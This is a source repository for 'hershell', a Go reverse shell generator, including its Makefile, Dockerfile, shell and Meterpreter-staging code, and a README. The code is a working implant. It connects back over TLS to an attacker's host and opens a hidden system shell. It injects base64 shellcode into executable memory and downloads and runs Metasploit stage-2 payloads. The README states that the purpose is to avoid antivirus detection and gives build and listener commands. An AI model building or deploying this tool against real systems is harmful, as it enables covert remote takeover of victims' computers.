├── .gitignore ├── Makefile ├── Dockerfile ├── LICENSE ├── shell ├── shell_default.go └── shell_windows.go ├── hershell.go ├── meterpreter └── meterpreter.go └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.dll 4 | *.so 5 | *.dylib 6 | 7 | # Test binary, build with `go test -c` 8 | *.test 9 | 10 | # Output of the go coverage tool, specifically when used with LiteIDE 11 | *.out 12 | 13 | # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 14 | .glide/ 15 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BUILD=go build 2 | OUT_LINUX=hershell 3 | OUT_WINDOWS=hershell.exe 4 | SRC=hershell.go 5 | SRV_KEY=server.key 6 | SRV_PEM=server.pem 7 | LINUX_LDFLAGS=--ldflags "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)" 8 | WIN_LDFLAGS=--ldflags "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui" 9 | 10 | all: clean depends shell 11 | 12 | depends: 13 | openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout ${SRV_KEY} -out ${SRV_PEM} 14 | cat ${SRV_KEY} >> ${SRV_PEM} 15 | 16 | shell: 17 | GOOS=${GOOS} GOARCH=${GOARCH} ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 18 | 19 | linux32: 20 | GOOS=linux GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 21 | 22 | linux64: 23 | GOOS=linux GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 24 | 25 | windows32: 26 | GOOS=windows GOARCH=386 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC} 27 | 28 | windows64: 29 | GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC} 30 | 31 | macos32: 32 | GOOS=darwin GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 33 | 34 | macos64: 35 | GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 36 | 37 | clean: 38 | rm -f ${SRV_KEY} ${SRV_PEM} ${OUT_LINUX} ${OUT_WINDOWS} 39 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # # 2 | # Build for both archs. Binaries use the same TLS cert. Cert/key are exported to the bin dir for easy fetch 3 | # Easily download results from the container by running it and browsing to its port 8000 4 | # docker run -it -p "8000:8000" hershell:latest 5 | 6 | FROM golang:alpine 7 | 8 | LABEL name hershell 9 | LABEL src "https://github.com/lesnuages/hershell" 10 | LABEL creator lesnuages 11 | LABEL dockerfile_maintenance khast3x 12 | LABEL desc "Multiplatform reverse shell generator" 13 | 14 | RUN apk add --update make git openssl \ 15 | && go get github.com/lesnuages/hershell \ 16 | && go get -u github.com/fogleman/serve 17 | WORKDIR /go/src/github.com/lesnuages/hershell/ 18 | 19 | ARG LHOST=127.0.0.1 20 | ARG LPORT=8080 21 | ARG GOARCH=64 22 | 23 | # # 24 | # Ensure the key and pem files are located in "./cert/" 25 | # To build with your own certificate, uncomment below 26 | # COPY ./cert/* /go/src/github.com/lesnuages/hershell/ 27 | # RUN make windows${GOARCH} LHOST=${LHOST} LPORT=${LPORT} \ 28 | # && make linux${GOARCH} LHOST=${LHOST} LPORT=${LPORT} \ 29 | # && cp *.exe /go/bin/ 30 | # # 31 | 32 | 33 | # # 34 | # To generate a certificate at build time, uncomment below 35 | # Comment below to use your own certificate 36 | RUN make depends && make windows${GOARCH} LHOST=${LHOST} LPORT=${LPORT} \ 37 | && make linux${GOARCH} LHOST=${LHOST} LPORT=${LPORT} \ 38 | && cp server.key server.pem *.exe /go/bin/ 39 | # # 40 | 41 | EXPOSE 8000 42 | ENTRYPOINT [ "serve", "-dir", "/go/bin/"] 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Ronan Kervella 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /shell/shell_default.go: -------------------------------------------------------------------------------- 1 | // +build linux darwin freebsd !windows 2 | 3 | package shell 4 | 5 | import ( 6 | "encoding/base64" 7 | "net" 8 | "os/exec" 9 | "syscall" 10 | "unsafe" 11 | ) 12 | 13 | // GetShell returns an *exec.Cmd instance which will run /bin/sh 14 | func GetShell() *exec.Cmd { 15 | cmd := exec.Command("/bin/sh") 16 | return cmd 17 | } 18 | 19 | // ExecuteCmd runs the provided command through /bin/sh 20 | // and redirects the result to the provided net.Conn object. 21 | func ExecuteCmd(command string, conn net.Conn) { 22 | cmdPath := "/bin/sh" 23 | cmd := exec.Command(cmdPath, "-c", command) 24 | cmd.Stdout = conn 25 | cmd.Stderr = conn 26 | cmd.Run() 27 | } 28 | 29 | // InjectShellcode decodes base64 encoded shellcode 30 | // and injects it in the same process. 31 | func InjectShellcode(encShellcode string) { 32 | if encShellcode != "" { 33 | if shellcode, err := base64.StdEncoding.DecodeString(encShellcode); err == nil { 34 | ExecShellcode(shellcode) 35 | } 36 | } 37 | return 38 | } 39 | 40 | // Get the page containing the given pointer 41 | // as a byte slice. 42 | func getPage(p uintptr) []byte { 43 | return (*(*[0xFFFFFF]byte)(unsafe.Pointer(p & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()] 44 | } 45 | 46 | // ExecShellcode sets the memory page containing the shellcode 47 | // to R-X, then executes the shellcode as a function. 48 | func ExecShellcode(shellcode []byte) { 49 | shellcodeAddr := uintptr(unsafe.Pointer(&shellcode[0])) 50 | page := getPage(shellcodeAddr) 51 | syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC) 52 | shellPtr := unsafe.Pointer(&shellcode) 53 | shellcodeFuncPtr := *(*func())(unsafe.Pointer(&shellPtr)) 54 | go shellcodeFuncPtr() 55 | } 56 | -------------------------------------------------------------------------------- /shell/shell_windows.go: -------------------------------------------------------------------------------- 1 | // +build windows !linux !darwin !freebsd 2 | 3 | package shell 4 | 5 | import ( 6 | "encoding/base64" 7 | "net" 8 | "os/exec" 9 | "syscall" 10 | "unsafe" 11 | ) 12 | 13 | const ( 14 | MEM_COMMIT = 0x1000 15 | MEM_RESERVE = 0x2000 16 | ) 17 | 18 | // GetShell pops an *exec.Cmd and return it to be used in a reverse shell 19 | func GetShell() *exec.Cmd { 20 | //cmd := exec.Command("C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe") 21 | cmd := exec.Command("C:\\Windows\\System32\\cmd.exe") 22 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 23 | return cmd 24 | } 25 | 26 | // ExecuteCmd runs the provided command through cmd.exe 27 | // and redirects the result to the provided net.Conn object. 28 | func ExecuteCmd(command string, conn net.Conn) { 29 | //cmd_path := "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" 30 | cmd_path := "C:\\Windows\\System32\\cmd.exe" 31 | cmd := exec.Command(cmd_path, "/c", command+"\n") 32 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 33 | cmd.Stdout = conn 34 | cmd.Stderr = conn 35 | cmd.Run() 36 | } 37 | 38 | // InjectShellcode decodes a base64 encoded shellcode and calls ExecShellcode on the decode value. 39 | func InjectShellcode(encShellcode string) { 40 | if encShellcode != "" { 41 | if shellcode, err := base64.StdEncoding.DecodeString(encShellcode); err == nil { 42 | go ExecShellcode(shellcode) 43 | } 44 | } 45 | } 46 | 47 | // ExecShellcode maps a memory page as RWX, copies the provided shellcode to it 48 | // and executes it via a syscall.Syscall call. 49 | func ExecShellcode(shellcode []byte) { 50 | // Resolve kernell32.dll, and VirtualAlloc 51 | kernel32 := syscall.MustLoadDLL("kernel32.dll") 52 | VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 53 | procCreateThread := kernel32.MustFindProc("CreateThread") 54 | // Reserve space to drop shellcode 55 | address, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) 56 | // Ugly, but works 57 | addrPtr := (*[990000]byte)(unsafe.Pointer(address)) 58 | // Copy shellcode 59 | for i, value := range shellcode { 60 | addrPtr[i] = value 61 | } 62 | procCreateThread.Call(0, 0, address, 0, 0, 0) 63 | } 64 | -------------------------------------------------------------------------------- /hershell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/sha256" 7 | "crypto/tls" 8 | "encoding/hex" 9 | "net" 10 | "os" 11 | "strings" 12 | 13 | "github.com/lesnuages/hershell/meterpreter" 14 | "github.com/lesnuages/hershell/shell" 15 | ) 16 | 17 | const ( 18 | errCouldNotDecode = 1 << iota 19 | errHostUnreachable = iota 20 | errBadFingerprint = iota 21 | ) 22 | 23 | var ( 24 | connectString string 25 | fingerPrint string 26 | ) 27 | 28 | func interactiveShell(conn net.Conn) { 29 | var ( 30 | exit = false 31 | prompt = "[hershell]> " 32 | scanner = bufio.NewScanner(conn) 33 | ) 34 | 35 | conn.Write([]byte(prompt)) 36 | 37 | for scanner.Scan() { 38 | command := scanner.Text() 39 | if len(command) > 1 { 40 | argv := strings.Split(command, " ") 41 | switch argv[0] { 42 | case "meterpreter": 43 | if len(argv) > 2 { 44 | transport := argv[1] 45 | address := argv[2] 46 | ok, err := meterpreter.Meterpreter(transport, address) 47 | if !ok { 48 | conn.Write([]byte(err.Error() + "\n")) 49 | } 50 | } else { 51 | conn.Write([]byte("Usage: meterpreter [tcp|http|https] IP:PORT\n")) 52 | } 53 | case "inject": 54 | if len(argv) > 1 { 55 | shell.InjectShellcode(argv[1]) 56 | } 57 | case "exit": 58 | exit = true 59 | case "run_shell": 60 | conn.Write([]byte("Enjoy your native shell\n")) 61 | runShell(conn) 62 | default: 63 | shell.ExecuteCmd(command, conn) 64 | } 65 | 66 | if exit { 67 | break 68 | } 69 | 70 | } 71 | conn.Write([]byte(prompt)) 72 | } 73 | } 74 | 75 | func runShell(conn net.Conn) { 76 | var cmd = shell.GetShell() 77 | cmd.Stdout = conn 78 | cmd.Stderr = conn 79 | cmd.Stdin = conn 80 | cmd.Run() 81 | } 82 | 83 | func checkKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) { 84 | valid := false 85 | connState := conn.ConnectionState() 86 | for _, peerCert := range connState.PeerCertificates { 87 | hash := sha256.Sum256(peerCert.Raw) 88 | if bytes.Compare(hash[0:], fingerprint) == 0 { 89 | valid = true 90 | } 91 | } 92 | return valid, nil 93 | } 94 | 95 | func reverse(connectString string, fingerprint []byte) { 96 | var ( 97 | conn *tls.Conn 98 | err error 99 | ) 100 | config := &tls.Config{InsecureSkipVerify: true} 101 | if conn, err = tls.Dial("tcp", connectString, config); err != nil { 102 | os.Exit(errHostUnreachable) 103 | } 104 | 105 | defer conn.Close() 106 | 107 | if ok, err := checkKeyPin(conn, fingerprint); err != nil || !ok { 108 | os.Exit(errBadFingerprint) 109 | } 110 | interactiveShell(conn) 111 | } 112 | 113 | func main() { 114 | if connectString != "" && fingerPrint != "" { 115 | fprint := strings.Replace(fingerPrint, ":", "", -1) 116 | bytesFingerprint, err := hex.DecodeString(fprint) 117 | if err != nil { 118 | os.Exit(errCouldNotDecode) 119 | } 120 | reverse(connectString, bytesFingerprint) 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /meterpreter/meterpreter.go: -------------------------------------------------------------------------------- 1 | package meterpreter 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/binary" 6 | "io/ioutil" 7 | "math/rand" 8 | "net" 9 | "net/http" 10 | "runtime" 11 | "time" 12 | 13 | "github.com/lesnuages/hershell/shell" 14 | ) 15 | 16 | // Meterpreter function allows to connect back 17 | // to either a TCP or HTTP(S) reverse handler 18 | func Meterpreter(connType, address string) (bool, error) { 19 | var ( 20 | ok bool 21 | err error 22 | ) 23 | switch { 24 | case connType == "http" || connType == "https": 25 | ok, err = reverseHTTP(connType, address) 26 | case connType == "tcp": 27 | ok, err = reverseTCP(address) 28 | default: 29 | ok = false 30 | } 31 | 32 | return ok, err 33 | } 34 | 35 | func getRandomString(length int, charset string) string { 36 | seed := rand.New(rand.NewSource(time.Now().UnixNano())) 37 | buf := make([]byte, length) 38 | for i := range buf { 39 | buf[i] = charset[seed.Intn(len(charset))] 40 | } 41 | return string(buf) 42 | } 43 | 44 | // See https://github.com/rapid7/metasploit-framework/blob/7a6a124272b7c52177a540317c710f9a3ac925aa/lib/rex/payloads/meterpreter/uri_checksum.rb 45 | func getURIChecksumID() int { 46 | var res int = 0 47 | switch runtime.GOOS { 48 | case "windows": 49 | res = 92 50 | case "linux": 51 | res = 95 52 | default: 53 | res = 92 54 | } 55 | return res 56 | } 57 | 58 | func generateURIChecksum(length int) string { 59 | charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" 60 | for { 61 | checksum := 0 62 | uriString := getRandomString(length, charset) 63 | for _, value := range uriString { 64 | checksum += int(value) 65 | } 66 | if (checksum % 0x100) == getURIChecksumID() { 67 | return uriString 68 | } 69 | } 70 | } 71 | 72 | func reverseTCP(address string) (bool, error) { 73 | var ( 74 | stage2LengthBuf []byte = make([]byte, 4) 75 | tmpBuf []byte = make([]byte, 2048) 76 | read = 0 77 | totalRead = 0 78 | stage2LengthInt uint32 = 0 79 | conn net.Conn 80 | err error 81 | ) 82 | 83 | if conn, err = net.Dial("tcp", address); err != nil { 84 | return false, err 85 | } 86 | 87 | defer conn.Close() 88 | 89 | if _, err = conn.Read(stage2LengthBuf); err != nil { 90 | return false, err 91 | } 92 | 93 | stage2LengthInt = binary.LittleEndian.Uint32(stage2LengthBuf[:]) 94 | stage2Buf := make([]byte, stage2LengthInt) 95 | 96 | for totalRead < (int)(stage2LengthInt) { 97 | if read, err = conn.Read(tmpBuf); err != nil { 98 | return false, err 99 | } 100 | totalRead += read 101 | stage2Buf = append(stage2Buf, tmpBuf[:read]...) 102 | } 103 | 104 | shell.ExecShellcode(stage2Buf) 105 | 106 | return true, nil 107 | } 108 | 109 | func reverseHTTP(connType, address string) (bool, error) { 110 | var ( 111 | resp *http.Response 112 | err error 113 | ) 114 | url := connType + "://" + address + "/" + generateURIChecksum(12) 115 | if connType == "https" { 116 | transport := &http.Transport{ 117 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 118 | } 119 | client := &http.Client{Transport: transport} 120 | resp, err = client.Get(url) 121 | } else { 122 | resp, err = http.Get(url) 123 | } 124 | if err != nil { 125 | return false, err 126 | } 127 | 128 | defer resp.Body.Close() 129 | 130 | stage2buf, _ := ioutil.ReadAll(resp.Body) 131 | shell.ExecShellcode(stage2buf) 132 | 133 | return true, nil 134 | } 135 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hershell 2 | 3 | Simple TCP reverse shell written in [Go](https://golang.org). 4 | 5 | It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception. 6 | 7 | Supported OS are: 8 | 9 | - Windows 10 | - Linux 11 | - Mac OS 12 | - FreeBSD and derivatives 13 | 14 | ## Why ? 15 | 16 | Although meterpreter payloads are great, they are sometimes spotted by AV products. 17 | 18 | The goal of this project is to get a simple reverse shell, which can work on multiple systems. 19 | 20 | ## How ? 21 | 22 | Since it's written in Go, you can cross compile the source for the desired architecture. 23 | 24 | ## Getting started & dependencies 25 | 26 | As this is a Go project, you will need to follow the [official documentation](https://golang.org/doc/install) to set up 27 | your Golang environment (with the `$GOPATH` environment variable). 28 | 29 | Then, just run `go get github.com/lesnuages/hershell` to fetch the project. 30 | 31 | ### Building the payload 32 | 33 | To simplify things, you can use the provided Makefile. 34 | You can set the following environment variables: 35 | 36 | - ``GOOS`` : the target OS 37 | - ``GOARCH`` : the target architecture 38 | - ``LHOST`` : the attacker IP or domain name 39 | - ``LPORT`` : the listener port 40 | 41 | For the ``GOOS`` and ``GOARCH`` variables, you can get the allowed values [here](https://golang.org/doc/install/source#environment). 42 | 43 | However, some helper targets are available in the ``Makefile``: 44 | 45 | - ``depends`` : generate the server certificate (required for the reverse shell) 46 | - ``windows32`` : builds a windows 32 bits executable (PE 32 bits) 47 | - ``windows64`` : builds a windows 64 bits executable (PE 64 bits) 48 | - ``linux32`` : builds a linux 32 bits executable (ELF 32 bits) 49 | - ``linux64`` : builds a linux 64 bits executable (ELF 64 bits) 50 | - ``macos32`` : builds a mac os 32 bits executable (Mach-O) 51 | - ``macos64`` : builds a mac os 64 bits executable (Mach-O) 52 | 53 | For those targets, you just need to set the ``LHOST`` and ``LPORT`` environment variables. 54 | 55 | ### Using the shell 56 | 57 | Once executed, you will be provided with a remote shell. 58 | This custom interactive shell will allow you to execute system commands through `cmd.exe` on Windows, or `/bin/sh` on UNIX machines. 59 | 60 | The following special commands are supported: 61 | 62 | * ``run_shell`` : drops you an system shell (allowing you, for example, to change directories) 63 | * ``inject `` : injects a shellcode (base64 encoded) in the same process memory, and executes it 64 | * ``meterpreter [tcp|http|https] IP:PORT`` : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment) 65 | * ``exit`` : exit gracefully 66 | 67 | ## Usage 68 | 69 | First of all, you will need to generate a valid certificate: 70 | ```bash 71 | $ make depends 72 | openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem 73 | Generating a 4096 bit RSA private key 74 | ....................................................................................++ 75 | .....++ 76 | writing new private key to 'server.key' 77 | ----- 78 | cat server.key >> server.pem 79 | ``` 80 | 81 | For windows: 82 | 83 | ```bash 84 | # Predifined 32 bit target 85 | $ make windows32 LHOST=192.168.0.12 LPORT=1234 86 | # Predifined 64 bit target 87 | $ make windows64 LHOST=192.168.0.12 LPORT=1234 88 | ``` 89 | 90 | For Linux: 91 | ```bash 92 | # Predifined 32 bit target 93 | $ make linux32 LHOST=192.168.0.12 LPORT=1234 94 | # Predifined 64 bit target 95 | $ make linux64 LHOST=192.168.0.12 LPORT=1234 96 | ``` 97 | 98 | For Mac OS X 99 | ```bash 100 | $ make macos LHOST=192.168.0.12 LPORT=1234 101 | ``` 102 | 103 | ## Examples 104 | 105 | ### Basic usage 106 | 107 | One can use various tools to handle incomming connections, such as: 108 | 109 | * socat 110 | * ncat 111 | * openssl server module 112 | * metasploit multi handler (with a `python/shell_reverse_tcp_ssl` payload) 113 | 114 | Here is an example with `ncat`: 115 | 116 | ```bash 117 | $ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234 118 | Ncat: Version 7.60 ( https://nmap.org/ncat ) 119 | Ncat: Listening on :::1234 120 | Ncat: Listening on 0.0.0.0:1234 121 | Ncat: Connection from 172.16.122.105. 122 | Ncat: Connection from 172.16.122.105:47814. 123 | [hershell]> whoami 124 | desktop-3pvv31a\lab 125 | ``` 126 | 127 | Here is an example with `socat` (tested with version `1.7.3.2`): 128 | ```bash 129 | $ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0 130 | # connection would be initiated here 131 | [hershell]> whoami 132 | desktop-3pvv31a\lab 133 | ``` 134 | 135 | ### Meterpreter staging 136 | 137 | **WARNING**: this currently only work for the Windows platform. 138 | 139 | The meterpreter staging currently supports the following payloads : 140 | 141 | * `windows/meterpreter/reverse_tcp` 142 | * `windows/x64/meterpreter/reverse_tcp` 143 | * `windows/meterpreter/reverse_http` 144 | * `windows/x64/meterpreter/reverse_http` 145 | * `windows/meterpreter/reverse_https` 146 | * `windows/x64/meterpreter/reverse_https` 147 | 148 | To use the correct one, just specify the transport you want to use (tcp, http, https) 149 | 150 | To use the meterpreter staging feature, just start your handler: 151 | 152 | ```bash 153 | [14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler 154 | [14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https 155 | payload => windows/x64/meterpreter/reverse_https 156 | [14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105 157 | lhost => 172.16.122.105 158 | [14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443 159 | lport => 8443 160 | [14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem 161 | HandlerSSLCert => ./server.pem 162 | [14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j 163 | [*] Exploit running as background job 0. 164 | 165 | [*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443 166 | [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) > 167 | ``` 168 | 169 | Then, in `hershell`, use the `meterpreter` command: 170 | 171 | ```bash 172 | [hershell]> meterpreter https 172.16.122.105:8443 173 | ``` 174 | 175 | A new meterpreter session should pop in `msfconsole`: 176 | 177 | ```bash 178 | [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) > 179 | [*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ... 180 | [*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100 181 | 182 | [14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions 183 | 184 | Active sessions 185 | =============== 186 | 187 | Id Name Type Information Connection 188 | -- ---- ---- ----------- ---------- 189 | 1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15) 190 | 191 | [14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1 192 | [*] Starting interaction with 1... 193 | 194 | meterpreter > getuid 195 | Server username: DESKTOP-3PVV31A\lab 196 | ``` 197 | 198 | ## Credits 199 | 200 | [@khast3x](https://github.com/khast3x) for the Dockerfile feature 201 | --------------------------------------------------------------------------------